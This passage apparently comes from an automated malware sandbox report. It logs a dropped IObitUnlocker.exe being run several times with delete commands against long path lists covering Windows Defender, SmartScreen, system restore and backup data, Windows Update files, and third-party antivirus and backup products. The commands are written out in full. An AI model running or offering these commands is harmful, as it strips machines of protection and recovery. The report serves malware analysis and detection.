OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4416
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:432
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.d